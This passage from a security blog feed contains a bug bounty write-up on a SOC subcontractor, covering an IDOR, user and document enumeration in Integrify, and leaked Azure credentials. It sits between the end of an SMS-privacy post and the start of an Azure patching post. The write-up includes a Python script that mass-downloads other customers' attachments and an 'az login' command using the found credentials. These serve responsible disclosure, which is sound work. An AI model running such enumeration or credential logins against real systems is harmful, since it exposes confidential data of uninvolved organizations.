UPS website, hosted at <a href="https://zpr.io/NDcExv3zuFmX">https://zpr.io/NDcExv3zuFmX</a>.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_results_ups_1-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_results_ups_1-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_results_ups_1-1400.webp"/> <img src="/assets/img/publicsms_results_ups_1.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/publicsms_results_ups_2-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/publicsms_results_ups_2-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/publicsms_results_ups_2-1400.webp"/> <img src="/assets/img/publicsms_results_ups_2.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <h6 id="impact-11">Impact</h6> <p>N/A</p> <h6 id="responsible-disclosure-11">Responsible disclosure</h6> <p>N/A</p> <p><a href="#real-world-examples">Back to the table ⬆️</a></p> <hr/> <h5 id="payfone">Payfone</h5> <p>This is a missed opportunity because the URL is truncated. The URL looked like this :</p> <ul> <li><code>https://device.staging.payfone.com:4443/fortified/2015/06/01/continueAuth?vfp=some-truncated-random-string</code></li> </ul> <h6 id="impact-12">Impact</h6> <p>N/A</p> <h6 id="responsible-disclosure-12">Responsible disclosure</h6> <p>N/A</p> <p><a href="#real-world-examples">Back to the table ⬆️</a></p> <hr/> <h5 id="validahealth">Validahealth</h5> <p>This is a missed opportunity because the URL is truncated. The message looked like this :</p> <ul> <li><code>Here you can find an access code for Valida Health. Code : 4203, link to the confirmation page : https://validahealth.io/myresults/confirm/230649ae-3918</code></li> </ul> <h6 id="impact-13">Impact</h6> <p>N/A</p> <h6 id="responsible-disclosure-13">Responsible disclosure</h6> <p>N/A</p> <p><a href="#real-world-examples">Back to the table ⬆️</a></p> <hr/> <h5 id="experian">Experian</h5> <p>This is a missed opportunity because the URL is truncated. The URL looked like this :</p> <ul> <li><code>https://usa.experian.com/registration/v?r=some-random-string</code></li> </ul> <h6 id="impact-14">Impact</h6> <p>N/A</p> <h6 id="responsible-disclosure-14">Responsible disclosure</h6> <p>N/A</p> <p><a href="#real-world-examples">Back to the table ⬆️</a></p> <hr/> <h2 id="conclusion">Conclusion</h2> <p>Based on the sample of results we saw, there are two main outcomes I would like to highlight.</p> <p>First, by assuming that phone numbers are private, companies allow themselves to send sensitive information by SMS e.g. URL to access a user account. Of course password reset is a specific case that requires the phone number to be trusted, but this is quite difficult to exploit because of race conditions and additional limit rate protection that can be set up (c.f. the Instagram case). Otherwise, companies may set up a blacklisting system to prevent users to register with PSS phone numbers : this is quite easy to implement.</p> <p>Second, when registering on an application with a PSS phone number, <b>we have no way to know what SMS will be sent</b>. Thus, I would recommend the use of such phone number for testing purposes, and to avoid associating real data to whatever account was created with the phone number.</p> <p><i>Thanks for reading</i></p>]]></content><author><name>Molx32</name></author><category term="SMSExplorer"/><summary type="html"><![CDATA[This article explores the security risks posed by Public SMS Services, where shared virtual phone numbers allow users to read each other's messages. Through real-world examples, it highlights the potential for data exposure and unauthorized access to sensitive information, underscoring the dangers of using these services for verification and authentication.]]></summary></entry><entry><title type="html">Bug bounty - Cybersecurity subcontractor exposes business data to other customers</title><link href="https://cyber-intruder.com/blog/2024/Bug-bounty-01/" rel="alternate" type="text/html" title="Bug bounty - Cybersecurity subcontractor exposes business data to other customers"/><published>2024-06-01T12:00:00+02:00</published><updated>2024-06-01T12:00:00+02:00</updated><id>https://cyber-intruder.com/blog/2024/Bug-bounty-01</id><content type="html" xml:base="https://cyber-intruder.com/blog/2024/Bug-bounty-01/"><![CDATA[<h2 id="context">Context</h2> <p>At the time of the discovery, I worked as a security analyst, to handle security incidents and other operational activities. In order to generate and manage those security incidents, the company subscribed to a SOC service proposed by <b>REDACTED</b>. Initialy, <b>REDACTED</b> was not a security company, and their current website doesn’t even mention their cybersecurity services, yet they are spread accross many companies with their cybersecurity services, at least in France.</p> <p>Technically, I had an Azure AD (Entra ID) created on my customer tenant, and then this account was synced to <b>REDACTED</b> tenant. Note that is this not an Azure AD B2B relationship as there is no SSO here : I had different passwords to connect to my customer account or the <b>REDACTED</b> one. Anyways, thanks to this synchronization, I had access to the incident platform to handle incidents.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/BUGBOUNTY/01/bug_bounty_01_identities-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/BUGBOUNTY/01/bug_bounty_01_identities-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/BUGBOUNTY/01/bug_bounty_01_identities-1400.webp"/> <img src="/assets/img/BUGBOUNTY/01/bug_bounty_01_identities.png" class="img-fluid rounded imgc" width="auto" height="auto" data-zoomable="" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <p>Before reading the next section, keep in mind is that all identified vulnerabilities require a user account in <b>REDACTED</b>’s tenant. Therefore a limited set of people could exploit those vulnerabilities, which represent around 100,000 user accounts (subcontractors, partners, customers, employees).</p> <hr/> <h2 id="security-issues">Security issues</h2> <h4 id="first-case---incident-platform">First case - Incident platform</h4> <p>The first time I accessed the incident platform, I decided to hunt for bugs. The most critical scenario would be to access <b>REDACTED</b> other customers data and see all their security incidents, but (un)fortunately, I wasn’t able to achieve that. After a few minutes, I took a look at my profile and saw that I could access any profile picture with a URL that looked like this : <code>https://incidentplatform.redacted.com/secure/useravatar?ownerId=JIRAUSER12345</code> : a basic IDOR that allowed me to access a vast amount of profile picture (without EXIF data), making <b>REDACTED</b> not GDPR-compliant, since users were not informed that their personal information (their face in that case) would be shared between all <b>REDACTED</b> customers.</p> <h5 id="responsible-disclosure">Responsible disclosure</h5> <table id="custom" class="t-border"> <tr> <th style="text-align:center">Date</th> <th style="text-align:center">Descritpion</th> </tr> <tr> <td style="text-align:center">06/11/2023</td> <td style="text-align:center">Report sent</td> </tr> <tr> <td style="text-align:center">06/11/2023</td> <td style="text-align:center">Report acknowledged</td> </tr> <tr> <td style="text-align:center">30/11/2023</td> <td style="text-align:center">Fixed</td> </tr> </table> <p><br/></p> <hr/> <h4 id="second-case---integrify">Second case - Integrify</h4> <h5 id="user-enumeration">User enumeration</h5> <p>After writing a short report about the previous issue, I spent a lot of time looking for an appropriate email address such as security@<b>redacted</b>.com, which lead me to use Google dorks. By Google dorking about this company, I found various subdomains and web applications, and I decided to hunt for more bugs! <br/> I discovered a subdomain hosting an <a href="https://www.integrify.com">Integrify</a> instance, which is an application dedicated to workflows as far as I can tell. I didn’t try to understand the application business at first, and I simply noticed that a feature allowed me to send messages to people, and thus to search for people in a directory.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/BUGBOUNTY/01/bug_bounty_01_enum_1-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/BUGBOUNTY/01/bug_bounty_01_enum_1-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/BUGBOUNTY/01/bug_bounty_01_enum_1-1400.webp"/> <img src="/assets/img/BUGBOUNTY/01/bug_bounty_01_enum_1.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" data-zoomable="" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/BUGBOUNTY/01/bug_bounty_01_enum_2-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/BUGBOUNTY/01/bug_bounty_01_enum_2-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/BUGBOUNTY/01/bug_bounty_01_enum_2-1400.webp"/> <img src="/assets/img/BUGBOUNTY/01/bug_bounty_01_enum_2.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" data-zoomable="" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <p>After some guessing and research, I was able to identify a second API endpoint to enumerate users. I don’t know what’s the difference between the two, but the first one returns <b>94k users</b>, while the second one returns <b>50k users</b>. All of these users are employees, but also partners, subcontractors and customers.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/BUGBOUNTY/01/bug_bounty_01_enum_3-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/BUGBOUNTY/01/bug_bounty_01_enum_3-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/BUGBOUNTY/01/bug_bounty_01_enum_3-1400.webp"/> <img src="/assets/img/BUGBOUNTY/01/bug_bounty_01_enum_3.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" data-zoomable="" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <h4 id="documents-enumeration">Documents enumeration</h4> <h5 id="attachments">Attachments</h5> <p>When sending messages to people using the application, it is also possible to attach files. So I started scratching there and intercepting requests. As you can see below, this request looks for comments in a specific <b>instance</b> and returns a JSON object containing our comment and attachment. I don’t know what an instance is, but having a business knowledge of the application was not my goal since I hadn’t much time to spend on it.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/BUGBOUNTY/01/bug_bounty_01_attachments_1-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/BUGBOUNTY/01/bug_bounty_01_attachments_1-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/BUGBOUNTY/01/bug_bounty_01_attachments_1-1400.webp"/> <img src="/assets/img/BUGBOUNTY/01/bug_bounty_01_attachments_1.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" data-zoomable="" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/BUGBOUNTY/01/bug_bounty_01_attachments_2-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/BUGBOUNTY/01/bug_bounty_01_attachments_2-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/BUGBOUNTY/01/bug_bounty_01_attachments_2-1400.webp"/> <img src="/assets/img/BUGBOUNTY/01/bug_bounty_01_attachments_2.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" data-zoomable="" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <p>The JSON doesn’t return any download URL. Instead we only have a SID. In order to get the download URL, we need to use an <a href="https://developer.integrify.com/rest/Files/link">API endpoint</a>, which will redirect to the download URL. As described on the documentation, we need several parameters here :</p> <ul> <li><code>owner_type</code>, which will always be set to <code>instance</code></li> <li><code>owner_sid</code>, which is the instance SID</li> <li><code>object_type</code>, which will always be set to <code>comment</code></li> <li><code>object_sid</code>, which is the file SID</li> </ul> <p>Actually, when clicking on the attachment and intercepting requests, another undocumented API endpoint is used, and behaves the same way, so we have two entry points to retrieve documents.</p> <p>Now that we know how to get attachments, we simply need to get the list of all instances, automate that, and it should work! According to the documentation, there is an <a href="https://developer.integrify.com/rest/Instances/instance-monitor-list">API endpoint</a> that allows to enumerate all instances where the current user has monitor permissions. Let’s see what we get by sending a request to it.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/BUGBOUNTY/01/bug_bounty_01_attachments_7-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/BUGBOUNTY/01/bug_bounty_01_attachments_7-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/BUGBOUNTY/01/bug_bounty_01_attachments_7-1400.webp"/> <img src="/assets/img/BUGBOUNTY/01/bug_bounty_01_attachments_7.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" data-zoomable="" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <p>I spent some time reading the documents names (hidden on the picture), and I knew this was juicy stuff. In addition, there is a total of <b>112k instances</b>, so we probably will get many attachments available.</p> <p>I wrote a short script that will iterate over all instances fetch attached files :</p> <figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="n">requests</span>
<span class="kn">import</span> <span class="n">json</span>

<span class="c1"># Sanitized short list of instances which contains attachments
</span><span class="n">instance_ids</span> <span class="o">=</span> <span class="p">[</span>
    <span class="sh">"</span><span class="s">12345678-1234-1234-1234-123456789012</span><span class="sh">"</span><span class="p">,</span>
    <span class="c1"># ... ,
</span>    <span class="sh">"</span><span class="s">12345678-4321-4321-4321-123456789012</span><span class="sh">"</span>
<span class="p">]</span>

<span class="c1"># Iterate over all instances
</span><span class="k">for</span> <span class="n">instance_id</span> <span class="ow">in</span> <span class="n">instance_ids</span><span class="p">:</span>
    <span class="c1"># Send request and read response
</span>    <span class="n">url</span> <span class="o">=</span> <span class="sh">'</span><span class="s">https://redacted.com/napi/instances/</span><span class="sh">'</span> <span class="o">+</span> <span class="n">instance_id</span> <span class="o">+</span> <span class="sh">'</span><span class="s">/comments/</span><span class="sh">'</span>
    <span class="n">cookies</span> <span class="o">=</span> <span class="p">{</span><span class="sh">'</span><span class="s">iapi_token</span><span class="sh">'</span><span class="p">:</span><span class="sh">'</span><span class="s">access%26oauth_token%3D123456789%26oauth_token_secret%3D00000</span><span class="sh">'</span><span class="p">}</span>
    <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">cookies</span><span class="o">=</span><span class="n">cookies</span><span class="p">)</span>

    <span class="c1"># Just in case
</span>    <span class="k">if</span> <span class="ow">not</span> <span class="sh">"</span><span class="s">AttachmentName</span><span class="sh">"</span> <span class="ow">in</span> <span class="n">response</span><span class="p">.</span><span class="n">text</span><span class="p">:</span>
        <span class="k">continue</span>

    <span class="c1"># Read JSON response (also possible with response.json())
</span>    <span class="n">data</span> <span class="o">=</span> <span class="n">json</span><span class="p">.</span><span class="nf">loads</span><span class="p">(</span><span class="n">response</span><span class="p">.</span><span class="n">text</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">item</span> <span class="ow">in</span> <span class="n">data</span><span class="p">[</span><span class="sh">'</span><span class="s">Items</span><span class="sh">'</span><span class="p">]:</span>
        <span class="c1"># Get data, and jump to next iteration if no attachment, we never know
</span>        <span class="n">subject</span>     <span class="o">=</span> <span class="n">item</span><span class="p">[</span><span class="sh">'</span><span class="s">Subject</span><span class="sh">'</span><span class="p">]</span>
        <span class="n">date</span>        <span class="o">=</span> <span class="n">item</span><span class="p">[</span><span class="sh">'</span><span class="s">CommentDate</span><span class="sh">'</span><span class="p">]</span>
        <span class="n">attachments</span> <span class="o">=</span> <span class="n">item</span><span class="p">[</span><span class="sh">'</span><span class="s">Attachments</span><span class="sh">'</span><span class="p">]</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">attachments</span><span class="p">:</span>
            <span class="k">continue</span>

        <span class="c1"># Iterate over all attachments for a given intsance
</span>        <span class="k">for</span> <span class="n">attachment</span> <span class="ow">in</span> <span class="n">attachments</span><span class="p">:</span>
            <span class="n">name</span>    <span class="o">=</span> <span class="n">attachment</span><span class="p">[</span><span class="sh">'</span><span class="s">AttachmentName</span><span class="sh">'</span><span class="p">]</span>
            <span class="n">sid</span>     <span class="o">=</span> <span class="n">attachment</span><span class="p">[</span><span class="sh">'</span><span class="s">AttachmentSID</span><span class="sh">'</span><span class="p">]</span>

            <span class="c1"># Write CSV to get a summary
</span>            <span class="n">row</span> <span class="o">=</span> <span class="sh">'</span><span class="s">||</span><span class="sh">'</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="nf">str</span><span class="p">(</span><span class="n">instance_id</span><span class="p">),</span> <span class="nf">str</span><span class="p">(</span><span class="n">subject</span><span class="p">),</span> <span class="nf">str</span><span class="p">(</span><span class="n">date</span><span class="p">),</span> <span class="nf">str</span><span class="p">(</span><span class="n">name</span><span class="p">),</span> <span class="nf">str</span><span class="p">(</span><span class="n">sid</span><span class="p">))</span>  <span class="o">+</span> <span class="sh">'</span><span class="se">\n</span><span class="sh">'</span>
            <span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="sh">'</span><span class="s">attachments_table.csv</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">a</span><span class="sh">'</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="sh">"</span><span class="s">utf-8</span><span class="sh">"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
                <span class="n">f</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="n">row</span><span class="p">)</span>
            
            <span class="c1"># Fetch and store file
</span>            <span class="n">url</span> <span class="o">=</span> <span class="sh">'</span><span class="s">https://redacted.com/rest-service/files/stream/?owner_sid=</span><span class="sh">'</span> <span class="o">+</span> <span class="n">instance_id</span> <span class="o">+</span> <span class="sh">'</span><span class="s">&amp;owner_type=instance&amp;object_sid=</span><span class="sh">'</span> <span class="o">+</span> <span class="n">sid</span> <span class="o">+</span> <span class="sh">'</span><span class="s">&amp;object_type=comment</span><span class="sh">'</span>
            <span class="n">cookies</span> <span class="o">=</span> <span class="p">{</span><span class="sh">'</span><span class="s">iapi_token</span><span class="sh">'</span><span class="p">:</span><span class="sh">'</span><span class="s">access%26oauth_token%3b123456789%26oauth_token_secret%3D00000</span><span class="sh">'</span><span class="p">}</span>
            <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">cookies</span><span class="o">=</span><span class="n">cookies</span><span class="p">)</span>
            
            <span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="sh">'</span><span class="s">./ATTACHMENTS/</span><span class="sh">'</span> <span class="o">+</span> <span class="n">name</span><span class="p">,</span> <span class="sh">'</span><span class="s">wb</span><span class="sh">'</span><span class="p">)</span> <span class="k">as</span> <span class="n">attachment_file</span><span class="p">:</span>
                <span class="n">attachment_file</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="n">response</span><span class="p">.</span><span class="n">content</span><span class="p">)</span>
                <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">writen</span><span class="sh">"</span><span class="p">)</span></code></pre></figure> <p>I ran this script on only 30 instances, and I retrieved approx. 50 documents (PDFs, XLSXs, MSGs, and DOCXs) which contain business data i.e. customers and partners data.</p> <h5 id="other-documents">Other documents</h5> <p>A last word about documents : according to <a href="https://developer.integrify.com/rest/Files/list">Integrify API documentation</a>, there are attachment, but there are also files associated to an instance that are not attachments. So let’s try to request this endpoint! Long story short : we simply have the opportunity to download more and more files.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/BUGBOUNTY/01/bug_bounty_01_attachments_9-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/BUGBOUNTY/01/bug_bounty_01_attachments_9-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/BUGBOUNTY/01/bug_bounty_01_attachments_9-1400.webp"/> <img src="/assets/img/BUGBOUNTY/01/bug_bounty_01_attachments_9.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" data-zoomable="" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <h5 id="responsible-disclosure-1">Responsible disclosure</h5> <table id="custom" class="t-border"> <tr> <th style="text-align:center">Date</th> <th style="text-align:center">Descritpion</th> </tr> <tr> <td style="text-align:center">4/12/2023</td> <td style="text-align:center">Report about user enumeration sent</td> </tr> <tr> <td style="text-align:center">12/12/2023</td> <td style="text-align:center">No answer, follow up</td> </tr> <tr> <td style="text-align:center">30/04/2024</td> <td style="text-align:center">No answer, follow up</td> </tr> <tr> <td style="text-align:center">24/05/2024</td> <td style="text-align:center">No answer, follow up and adding report about documents enumeration</td> </tr> <tr> <td style="text-align:center">31/06/2024</td> <td style="text-align:center">No answer, follow up</td> </tr> </table> <p><br/></p> <hr/> <h4 id="third-case---azure">Third case - Azure</h4> <p>At this point I was still trying to find an email address to send my report, but again I discovered a subdomain with a directory listing, and I decided to hunt for more bugs. The root directory contained approximately ten directories with only a few that I could access. All the content was identity-related, with folders and files named like SSO, SAML and so on. One of the directories contained a whole C# project folder, including only compiled files :</p> <ul> <li>https://identity.redacted.com/Folder1/obj/Release/renamed.dll</li> <li>https://identity.redacted.com/Folder1/obj/Debug/renamed_debug.dll</li> </ul> <p>I began to look for strings inside the DLL to understand what it is used for, and when parsing printable characters only, I ended up with a string corresponding to Azure AD (Entra ID) Service Principal credentials that are still valid <i>i.e.</i> a tenant ID, a client ID (or application ID) and of course a secret. <br/> I used Azure CLI to connect to the service principal using the command below, and started recon on Azure. <br/> <code>az login --service-principal -u '1234abcd-1234-1234-1234-1234abcd1234' -p 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxqWQ==' --tenant '1234abcd-4321-4321-4321-1234abcd1234' --allow-no-subscriptions</code></p> <p>The service principal was related to a web application that was not accessible, either because of network filtering or because it was retired. Thus, I was not able to do much with it : no subscription available and no directory permissions. The only exploit would be to interact with the web application, but as mentioned, it was not accessible.</p> <h5 id="responsible-disclosure-2">Responsible disclosure</h5> <p>For the third case, I don’t remember when I observe that all was properly fixed.</p> <table id="custom" class="t-border"> <tr> <th style="text-align:center">Date</th> <th style="text-align:center">Descritpion</th> </tr> <tr> <td style="text-align:center">06/11/2023</td> <td style="text-align:center">Report sent</td> </tr> <tr> <td style="text-align:center">06/11/2023</td> <td style="text-align:center">Report acknowledged</td> </tr> <tr> <td style="text-align:center">30/11/2023</td> <td style="text-align:center">Follow up because not properly fixed</td> </tr> <tr> <td style="text-align:center">Now</td> <td style="text-align:center">Fixed</td> </tr> </table> <hr/> <h2 id="conclusion">Conclusion</h2> <p>So what happened? A security company that proposes SOC services “invited” thousands of users in their directory (including me), giving them access to confidential information about other customers, which are not cybersecurity-related, but probably even more confidential. This is how Identity and Access Management (IAM) is important!</p> <p><i>Thanks for reading.</i></p>]]></content><author><name>Molx32</name></author><category term="bugbounty"/><summary type="html"><![CDATA[Context At the time of the discovery, I worked as a security analyst, to handle security incidents and other operational activities. In order to generate and manage those security incidents, the company subscribed to a SOC service proposed by REDACTED. Initialy, REDACTED was not a security company, and their current website doesn’t even mention their cybersecurity services, yet they are spread accross many companies with their cybersecurity services, at least in France. Technically, I had an Azure AD (Entra ID) created on my customer tenant, and then this account was synced to REDACTED tenant. Note that is this not an Azure AD B2B relationship as there is no SSO here : I had different passwords to connect to my customer account or the REDACTED one. Anyways, thanks to this synchronization, I had access to the incident platform to handle incidents. Before reading the next section, keep in mind is that all identified vulnerabilities require a user account in REDACTED’s tenant. Therefore a limited set of people could exploit those vulnerabilities, which represent around 100,000 user accounts (subcontractors, partners, customers, employees). Security issues First case - Incident platform The first time I accessed the incident platform, I decided to hunt for bugs. The most critical scenario would be to access REDACTED other customers data and see all their security incidents, but (un)fortunately, I wasn’t able to achieve that. After a few minutes, I took a look at my profile and saw that I could access any profile picture with a URL that looked like this : https://incidentplatform.redacted.com/secure/useravatar?ownerId=JIRAUSER12345 : a basic IDOR that allowed me to access a vast amount of profile picture (without EXIF data), making REDACTED not GDPR-compliant, since users were not informed that their personal information (their face in that case) would be shared between all REDACTED customers. Responsible disclosure Date Descritpion 06/11/2023 Report sent 06/11/2023 Report acknowledged 30/11/2023 Fixed Second case - Integrify User enumeration After writing a short report about the previous issue, I spent a lot of time looking for an appropriate email address such as security@redacted.com, which lead me to use Google dorks. By Google dorking about this company, I found various subdomains and web applications, and I decided to hunt for more bugs! I discovered a subdomain hosting an Integrify instance, which is an application dedicated to workflows as far as I can tell. I didn’t try to understand the application business at first, and I simply noticed that a feature allowed me to send messages to people, and thus to search for people in a directory. After some guessing and research, I was able to identify a second API endpoint to enumerate users. I don’t know what’s the difference between the two, but the first one returns 94k users, while the second one returns 50k users. All of these users are employees, but also partners, subcontractors and customers. Documents enumeration Attachments When sending messages to people using the application, it is also possible to attach files. So I started scratching there and intercepting requests. As you can see below, this request looks for comments in a specific instance and returns a JSON object containing our comment and attachment. I don’t know what an instance is, but having a business knowledge of the application was not my goal since I hadn’t much time to spend on it. The JSON doesn’t return any download URL. Instead we only have a SID. In order to get the download URL, we need to use an API endpoint, which will redirect to the download URL. As described on the documentation, we need several parameters here : owner_type, which will always be set to instance owner_sid, which is the instance SID object_type, which will always be set to comment object_sid, which is the file SID Actually, when clicking on the attachment and intercepting requests, another undocumented API endpoint is used, and behaves the same way, so we have two entry points to retrieve documents. Now that we know how to get attachments, we simply need to get the list of all instances, automate that, and it should work! According to the documentation, there is an API endpoint that allows to enumerate all instances where the current user has monitor permissions. Let’s see what we get by sending a request to it. I spent some time reading the documents names (hidden on the picture), and I knew this was juicy stuff. In addition, there is a total of 112k instances, so we probably will get many attachments available. I wrote a short script that will iterate over all instances fetch attached files : import requests import json # Sanitized short list of instances which contains attachments instance_ids=[ "12345678-1234-1234-1234-123456789012", # ... , "12345678-4321-4321-4321-123456789012" ] # Iterate over all instances for instance_id in instance_ids: # Send request and read response url='https://redacted.com/napi/instances/' + instance_id + '/comments/' cookies={'iapi_token':'access%26oauth_token%3D123456789%26oauth_token_secret%3D00000'} response=requests.get(url, cookies=cookies) # Just in case if not "AttachmentName" in response.text: continue # Read JSON response (also possible with response.json()) data=json.loads(response.text) for item in data['Items']: # Get data, and jump to next iteration if no attachment, we never know subject=item['Subject'] date=item['CommentDate'] attachments=item['Attachments'] if not attachments: continue # Iterate over all attachments for a given intsance for attachment in attachments: name=attachment['AttachmentName'] sid=attachment['AttachmentSID'] # Write CSV to get a summary row='||'.join(str(instance_id), str(subject), str(date), str(name), str(sid)) + '\n' with open('attachments_table.csv', 'a', encoding="utf-8") as f: f.write(row) # Fetch and store file url='https://redacted.com/rest-service/files/stream/?owner_sid=' + instance_id + '&amp;owner_type=instance&amp;object_sid=' + sid + '&amp;object_type=comment' cookies={'iapi_token':'access%26oauth_token%3b123456789%26oauth_token_secret%3D00000'} response=requests.get(url, cookies=cookies) with open('./ATTACHMENTS/' + name, 'wb') as attachment_file: attachment_file.write(response.content) print("writen") I ran this script on only 30 instances, and I retrieved approx. 50 documents (PDFs, XLSXs, MSGs, and DOCXs) which contain business data i.e. customers and partners data. Other documents A last word about documents : according to Integrify API documentation, there are attachment, but there are also files associated to an instance that are not attachments. So let’s try to request this endpoint! Long story short : we simply have the opportunity to download more and more files. Responsible disclosure Date Descritpion 4/12/2023 Report about user enumeration sent 12/12/2023 No answer, follow up 30/04/2024 No answer, follow up 24/05/2024 No answer, follow up and adding report about documents enumeration 31/06/2024 No answer, follow up Third case - Azure At this point I was still trying to find an email address to send my report, but again I discovered a subdomain with a directory listing, and I decided to hunt for more bugs. The root directory contained approximately ten directories with only a few that I could access. All the content was identity-related, with folders and files named like SSO, SAML and so on. One of the directories contained a whole C# project folder, including only compiled files : https://identity.redacted.com/Folder1/obj/Release/renamed.dll https://identity.redacted.com/Folder1/obj/Debug/renamed_debug.dll I began to look for strings inside the DLL to understand what it is used for, and when parsing printable characters only, I ended up with a string corresponding to Azure AD (Entra ID) Service Principal credentials that are still valid i.e. a tenant ID, a client ID (or application ID) and of course a secret. I used Azure CLI to connect to the service principal using the command below, and started recon on Azure. az login --service-principal -u '1234abcd-1234-1234-1234-1234abcd1234' -p 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxqWQ==' --tenant '1234abcd-4321-4321-4321-1234abcd1234' --allow-no-subscriptions The service principal was related to a web application that was not accessible, either because of network filtering or because it was retired. Thus, I was not able to do much with it : no subscription available and no directory permissions. The only exploit would be to interact with the web application, but as mentioned, it was not accessible. Responsible disclosure For the third case, I don’t remember when I observe that all was properly fixed. Date Descritpion 06/11/2023 Report sent 06/11/2023 Report acknowledged 30/11/2023 Follow up because not properly fixed Now Fixed Conclusion So what happened? A security company that proposes SOC services “invited” thousands of users in their directory (including me), giving them access to confidential information about other customers, which are not cybersecurity-related, but probably even more confidential. This is how Identity and Access Management (IAM) is important! Thanks for reading.]]></summary></entry><entry><title type="html">Azure Update Management - Part 7 - Security patches on Azure ARC!</title><link href="https://cyber-intruder.com/blog/2023/Update-management-06/" rel="alternate" type="text/html" title="Azure Update Management - Part 7 - Security patches on Azure ARC!"/><published>2023-02-16T11:00:00+01:00</published><updated>2023-02-16T11:00:00+01:00</updated><id>https://cyber-intruder.com/blog/2023/Update-management-06</id><content type="html" xml:base="https://cyber-intruder.com/blog/2023/Update-management-06/"><![CDATA[<p><i>Hello there, the goal of this serie is to describe a real world implementation of <b>Azure Update Management</b>. This service was designed to update any machine in your infrastructure, whether they are hosted on Azure or 